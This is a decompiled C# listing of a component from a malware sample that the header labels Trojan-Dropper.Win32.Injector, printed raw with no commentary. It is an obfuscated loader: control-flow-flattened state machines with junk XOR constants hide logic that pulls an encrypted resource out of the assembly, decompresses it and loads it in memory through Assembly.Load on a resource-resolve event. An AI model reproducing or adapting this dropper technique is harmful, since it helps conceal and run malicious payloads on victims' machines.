// Decompiled with JetBrains decompiler // Type:  // Assembly: Msil, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 592E0705-5FE3-456B-BE3B-BDC64BF0EA12 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.bohb-8459fa9a1d18ad0edf27e23258c967c9e734b43e94385e7834ac8244fbf1249c.exe using System; using System.IO; using System.Reflection; using System.Threading; internal sealed class \uE008 { private static Assembly \uE000; private static object \uE001 = new object(); private static int \uE002; private static string[] \uE003; public static void \uE000() { if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) return; try { Monitor.Enter(\uE008.\uE001); if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) return; label_19: int num1 = -226195680; int num2 = -561798657; label_3: while (true) { num2 ^= 555203725; label_11: int num3 = 968784119; int num4 = -376123481; label_5: while (true) { num4 ^= 370221929; label_7: int num5 = 169643759; while (true) { switch (num5 ^ 170977803) { case 2909411: label_8: num4 = -376123484; num5 = 169643758; continue; case 2909412: switch (num4 + 8000308) { case 0: goto label_11; case 1: switch (num3) { case 1949493: label_14: num2 = -561798659; num3 = 968784118; goto label_4; case 1949494: switch (num2 + 7070352) { case 0: switch (num1 + 5290868) { case 0: AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE008.\uE001); num1 = -226195679; goto label_2; case 1: goto label_22; default: goto label_18; } case 1: goto label_19; case 2: label_2: num1 ^= 220971948; goto label_14; default: num3 = 968784116; goto label_4; } case 1949495: goto label_3; default: goto label_13; } case 2: label_4: num3 ^= 967034817; goto label_8; default: num5 = 169643752; continue; } case 2909413: goto label_5; default: goto label_7; } } label_13: num4 = -376123483; } label_18: num2 = -561798660; } label_22: \uE008.\uE002 = 1; } finally { Monitor.Exit(\uE008.\uE001); } } public static string \uE000 => "4d63cfa9e78e1502"; public static Assembly \uE001(object _param0, ResolveEventArgs _param1) { if ((\uE008.\uE003 == null ? 0 : 1) == 0) { try { Monitor.Enter(\uE008.\uE001); if ((\uE008.\uE003 == null ? 0 : 1) == 0) { label_15: int num1 = 1319863694; int num2 = -1247360233; label_3: Stream manifestResourceStream; while (true) { num2 ^= 1242423639; label_7: int num3 = 1536961512; int num4 = -942752411; while (true) { switch ((num4 ^ 946906395) + 4319108) { case 0: goto label_7; case 1: switch (num3) { case 2222797: label_10: num2 = -1247360152; num3 = 1536961513; goto label_4; case 2222798: switch (num2 + 5559746) { case 0: goto label_15; case 1: switch (num1) { case 3571212: manifestResourceStream = typeof (\uE008).Assembly.GetManifestResourceStream(\uE008.\uE000); num1 = 1319863695; goto label_2; case 3571213: if (manifestResourceStream != null) { num1 = 1319863692; goto label_2; } else goto label_22; case 3571214: goto label_21; default: goto label_17; } case 2: label_2: num1 ^= 1318976386; goto label_10; default: label_13: int num5 = 357788384; while (true) { switch (num5 ^ 357216823) { case 1693911: num3 = 1536961515; num5 = 357788399; continue; case 1693912: goto label_4; default: goto label_13; } } } case 2222799: goto label_3; default: num4 = -942752409; continue; } case 2: label_4: num3 ^= 1539162406; break; } num4 = -942752410; } label_17: num2 = -1247360151; } label_21: int num6 = 0; goto label_23; label_22: num6 = 1; label_23: if (num6 == 0) \uE008.\uE000 = \uE008.\uE002(manifestResourceStream); } } finally { Monitor.Exit(\uE008.\uE001); } } return (!\uE008.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE008.\uE000 : (Assembly) null; } private static Assembly \uE002(Stream _param0) { MemoryStream input = \uE010.\uE000(_param0); BinaryReader binaryReader = new BinaryReader((Stream) input); label_2: int num1 = -976949257; int length; int index; string[] strArray; while (true) { switch ((num1 ^ 979141528) + 6787986) { case 0: strArray = new string[length]; num1 = -976949272; continue; case 1: length = binaryReader.ReadInt32(); num1 = -976949258; continue; case 2: index = 0; num1 = -976949271; continue; case 3: if (index != 0) { num1 = -976949270; continue; } goto label_9; case 4: goto label_8; default: goto label_2; } } label_8: int num2 = 0; goto label_10; label_9: num2 = 1; label_10: if (num2 != 0) goto label_12; label_11: strArray[index] = binaryReader.ReadString(); ++index; label_12: if ((index >= length ? 0 : 1) == 0) { \uE008.\uE003 = strArray; label_25: int num3 = -143477510; int num4 = -1430655755; label_15: byte[] numArray; while (true) { num4 ^= 1426872453; label_19: int num5 = -80790779; int num6 = -1051659499; while (true) { switch ((num6 ^ 1053901982) + 8276087) { case 0: goto label_19; case 1: switch (num5 + 7895701) { case 0: label_22: num4 = -1430655766; num5 = -80790780; goto label_16; case 1: switch (num4 + 4869010) { case 0: goto label_25; case 1: int count; switch (num3 + 4299732) { case 0: numArray = new byte[count]; num3 = -143477511; goto label_14; case 1: binaryReader.Read(numArray, 0, count); num3 = -143477509; goto label_14; case 2: count = (int) (input.Length - input.Position); num3 = -143477512; goto label_14; case 3: goto label_31; default: goto label_27; } case 2: label_14: num3 ^= 147640532; goto label_22; default: num5 = -80790782; goto label_16; } case 2: goto label_15; default: num6 = -1051659497; continue; } case 2: label_16: num5 ^= 78167657; break; } num6 = -1051659500; } label_27: num4 = -1430655765; } label_31: return Assembly.Load(numArray); } goto label_11; } private static bool \uE003(string _param0) { if ((\uE008.\uE003 == null ? 1 : 0) == 0) { label_6: int num1 = 1477415917; int num2 = 601725783; int index; string[] strArray; while (true) { switch (num2 ^ 602759493) { case 3209744: switch (num1) { case 3757452: if (index != 0) { num1 = 1477415916; goto label_1; } else goto label_12; case 3757453: index = 0; num1 = 1477415919; goto label_1; case 3757454: strArray = \uE008.\uE003; num1 = 1477415918; goto label_1; case 3757455: goto label_11; default: num2 = 601725780; continue; } case 3209745: goto label_6; case 3209746: label_1: num1 ^= 1479984739; break; } num2 = 601725781; } label_11: int num3 = 0; goto label_13; label_12: num3 = 1; label_13: if (num3 != 0) goto label_27; label_14: string str = strArray[index]; if ((!_param0.Equals(str) ? 1 : 0) == 0) { label_22: int num4 = -311275153; int num5 = 878119074; label_16: bool flag; while (true) { num5 ^= 880632524; label_18: int num6 = -433645422; while (true) { switch ((num6 ^ 431101690) + 7008665) { case 0: label_19: num5 = 878119073; num6 = -433645421; continue; case 1: switch (num5) { case 2779756: goto label_22; case 2779757: switch (num4 + 4671099) { case 0: flag = true; num4 = -311275156; goto label_15; case 1: goto label_29; default: goto label_24; } case 2779758: label_15: num4 ^= 315287786; goto label_19; default: num6 = -433645411; continue; } case 2: goto label_16; default: goto label_18; } } label_24: num5 = 878119072; } label_29: return flag; } ++index; label_27: if ((index >= strArray.Length ? 0 : 1) != 0) goto label_14; } return false; } }